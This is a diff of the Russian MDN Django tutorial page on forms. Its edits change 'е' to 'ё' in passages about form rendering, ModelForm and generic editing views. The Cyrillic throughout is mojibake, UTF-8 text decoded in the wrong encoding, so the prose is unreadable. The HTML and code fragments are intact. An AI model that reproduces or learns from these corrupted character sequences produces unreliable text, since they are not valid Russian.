+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ это Π½Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ наша Ρ„ΠΎΡ€ΠΌΠ° содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅, Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ помСщаСтся Π² Π΅Ρ‘ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ строку Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (поэтому пСрСмСнная <code>\{{form}}</code> находится Π²Π½ΡƒΡ‚Ρ€ΠΈ тэга <code>table </code>.​​​​​​ Π’ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ, Ссли Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ <code>\{{ form.as_table }}</code>.</p>
</div>
<p>Если Π²Ρ‹ Π²Π²Π΅Π»ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΡƒΡŽ Π΄Π°Ρ‚Ρƒ, Ρ‚ΠΎ Π½Π° страницС Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список сообщСний ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… (ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅).</p>
@@ -411,7 +411,7 @@ def renew_book_librarian(request, pk):
<p>Π’ простом случаС примСнСния <code>\{{form}}</code> ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ рСндСрится  Π² Π²ΠΈΠ΄Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ строки Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ ΠΊΠ°ΠΊ список элСмСнтов (<code>\{{form.as_ul}}</code> ), ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ (<code>\{{form.as_p}}</code>).</p>
-<p>Π§Ρ‚ΠΎ Π΅Ρ‰Π΅ большС вдохновляСт, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° любой части Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ для этого Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ (Ρ‚ΠΎΡ‡ΠΊΡƒ). НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ полям поля Ρ„ΠΎΡ€ΠΌΡ‹ <code>renewal_date</code>:</p>
+<p>Π§Ρ‚ΠΎ Π΅Ρ‰Ρ‘ большС вдохновляСт, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ процСсс Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° любой части Ρ„ΠΎΡ€ΠΌΡ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ для этого Π΄ΠΎΡ‚-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ (Ρ‚ΠΎΡ‡ΠΊΡƒ). НапримСр, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ полям поля Ρ„ΠΎΡ€ΠΌΡ‹ <code>renewal_date</code>:</p>
<ul>
<li><code>\{{form.renewal_date}}:</code> само полС.</li>
@@ -425,7 +425,7 @@ def renew_book_librarian(request, pk):
<h3 id="ВСстированиС_страницы">ВСстированиС страницы</h3>
-<p>Если Π²Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½ΠΈΠ΅ Π² <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство Ρ‡Π°ΡΡ‚ΡŒ 8: АутСнтификация ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ доступа</a>, Ρ‚ΠΎ Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ страница со списком всСх ΠΊΠ½ΠΈΠ³ Π² Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ список (страница) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Π΅ сотрудникам. На Π΄Π°Π½Π½ΠΎΠΉ страницС Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡƒΠ½ΠΊΡ‚Π΅ (для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ) ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ссылку Π½Π° Π½Π°ΡˆΡƒ Π½ΠΎΠ²ΡƒΡŽ страницу обновлСния ΠΊΠ½ΠΈΠ³ΠΈ.</p>
+<p>Если Π²Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½ΠΈΠ΅ Π² <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство Ρ‡Π°ΡΡ‚ΡŒ 8: АутСнтификация ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ доступа</a>, Ρ‚ΠΎ Ρƒ вас Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ страница со списком всСх ΠΊΠ½ΠΈΠ³ Π² Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ список (страница) Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΅Ρ‘ сотрудникам. На Π΄Π°Π½Π½ΠΎΠΉ страницС Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΡƒΠ½ΠΊΡ‚Π΅ (для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ) ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ссылку Π½Π° Π½Π°ΡˆΡƒ Π½ΠΎΠ²ΡƒΡŽ страницу обновлСния ΠΊΠ½ΠΈΠ³ΠΈ.</p>
<pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- &lt;a href="{% url 'renew-book-librarian' bookinst.id %}"&gt;Renew&lt;/a&gt; {% endif %}</pre>
@@ -508,15 +508,15 @@ class RenewBookModelForm(ModelForm):
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ класс <code>RenewBookModelForm</code> являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ эквивалСнтом Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΡƒ классу <code>RenewBookForm</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² Ρ‚Π΅Ρ… ΠΆΠ΅ мСстах, Π³Π΄Π΅ ΠΈ <code>RenewBookForm</code>.</p>
-<h2 id="ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅_классы_отобраТСния_для_рСдактирования">ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы отобраТСния для рСдактирования</h2>
+<h2 id="ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅_классы_отобраТСния_для_рСдактирования">ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы отобраТСния для рСдактирования</h2>
-<p>Алгоритм управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π² нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния, являСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ достаточно ΠΎΠ±Ρ‰Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ. Django стараСтся Π°Π±ΡΡ‚Ρ€Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΏΡƒΡ‚Π΅ΠΌ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ примСнСния <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… классов ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слуТат для создания, рСдактирования ΠΈ удалСния ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° основС ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ. Они Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ отобраТСния, Π½ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ΠΈ ΠΈΠ· вашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ автоматичСски ΡΠΎΠ·Π΄Π°ΡŽΡ‚ класс Ρ„ΠΎΡ€ΠΌΡ‹Β  (<code>ModelForm</code>).</p>
+<p>Алгоритм управлСния Ρ„ΠΎΡ€ΠΌΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ использовали Π² нашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния, являСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ достаточно ΠΎΠ±Ρ‰Π΅Π³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ. Django стараСтся Π°Π±ΡΡ‚Ρ€Π°Π³ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡƒΠΏΡ€ΠΎΡΡ‚ΠΈΡ‚ΡŒ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹, ΠΏΡƒΡ‚Ρ‘ΠΌ ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ примСнСния <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… классов ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слуТат для создания, рСдактирования ΠΈ удалСния ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° основС ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ. Они Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ отобраТСния, Π½ΠΎ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ΠΈ ΠΈΠ· вашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ автоматичСски ΡΠΎΠ·Π΄Π°ΡŽΡ‚ класс Ρ„ΠΎΡ€ΠΌΡ‹Β  (<code>ModelForm</code>).</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ отобраТСниям для рСдактирования, описываСмых здСсь, сущСствуСт Ρ‚Π°ΠΊΠΆΠ΅ класс <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎ своСму ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ находится Π³Π΄Π΅-Ρ‚ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ "простой" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ отобраТСния ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΌΠΈ отобраТСниями, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС, Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅: "Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ" ΠΏΡ€ΠΎΡ‚ΠΈΠ² "усилия ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ". ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΡ <code>FormView,</code> Π²Ρ‹ всС Π΅Ρ‰Π΅ Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚Π΅ΡΡŒ Π² создании класса <code>Form</code>, Π½ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ вСсь "стандартный" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ. ВмСсто этого, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ просто Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° станСт понятно, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Π΅, "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅" (Π²Π°Π»ΠΈΠ΄Π½Ρ‹).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ отобраТСниям для рСдактирования, описываСмых здСсь, сущСствуСт Ρ‚Π°ΠΊΠΆΠ΅ класс <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎ своСму ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ находится Π³Π΄Π΅-Ρ‚ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ "простой" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ отобраТСния ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈ отобраТСниями, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС, Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅: "Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ" ΠΏΡ€ΠΎΡ‚ΠΈΠ² "усилия ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ". ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΡ <code>FormView,</code> Π²Ρ‹ всС Π΅Ρ‰Ρ‘ Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚Π΅ΡΡŒ Π² создании класса <code>Form</code>, Π½ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ вСсь "стандартный" Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Ρ„ΠΎΡ€ΠΌΠΎΠΉ. ВмСсто этого, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ просто Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° Π² Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° станСт понятно, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Π΅, "ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅" (Π²Π°Π»ΠΈΠ΄Π½Ρ‹).</p>
</div>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ собираСмся  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы для рСдактирования, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» создания, рСдактирования ΠΈ удалСния записСй Ρ‚ΠΈΠΏΠ° <code>Author</code> ΠΈΠ· нашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ β€” прСдоставляя Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… частСй административной части сайта (это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для случаСв, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡ‚Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ сайта, которая,Β Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ стандартной, Π±Ρ‹Π»Π° Π±Ρ‹ Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΎΠΉ).</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ собираСмся  ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы для рСдактирования, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» создания, рСдактирования ΠΈ удалСния записСй Ρ‚ΠΈΠΏΠ° <code>Author</code> ΠΈΠ· нашСй Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ β€” прСдоставляя Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… частСй административной части сайта (это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для случаСв, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡ‚Ρ€Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ сайта, которая,Β Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ стандартной, Π±Ρ‹Π»Π° Π±Ρ‹ Π±ΠΎΠ»Π΅Π΅ Π³ΠΈΠ±ΠΊΠΎΠΉ).</p>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ</h3>
@@ -630,9 +630,9 @@ class AuthorDelete(DeleteView):
<h2 id="Π˜Ρ‚ΠΎΠ³ΠΈ">Π˜Ρ‚ΠΎΠ³ΠΈ</h2>
-<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно слоТным! Django Π΄Π΅Π»Π°Π΅Ρ‚ этот процСсс Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, прСдоставляя ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ объявлСния, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌ. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Django прСдоставляСт ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы  рСдактирования Ρ„ΠΎΡ€ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ <em>практичСски Π»ΡŽΠ±ΡƒΡŽ</em> Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ созданию, Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ записСй, связанных с ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½ΠΎΠΉ модСлью.</p>
+<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достаточно слоТным! Django Π΄Π΅Π»Π°Π΅Ρ‚ этот процСсс Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅, прСдоставляя ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ объявлСния, Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ„ΠΎΡ€ΠΌ. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Django прСдоставляСт ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы  рСдактирования Ρ„ΠΎΡ€ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ <em>практичСски 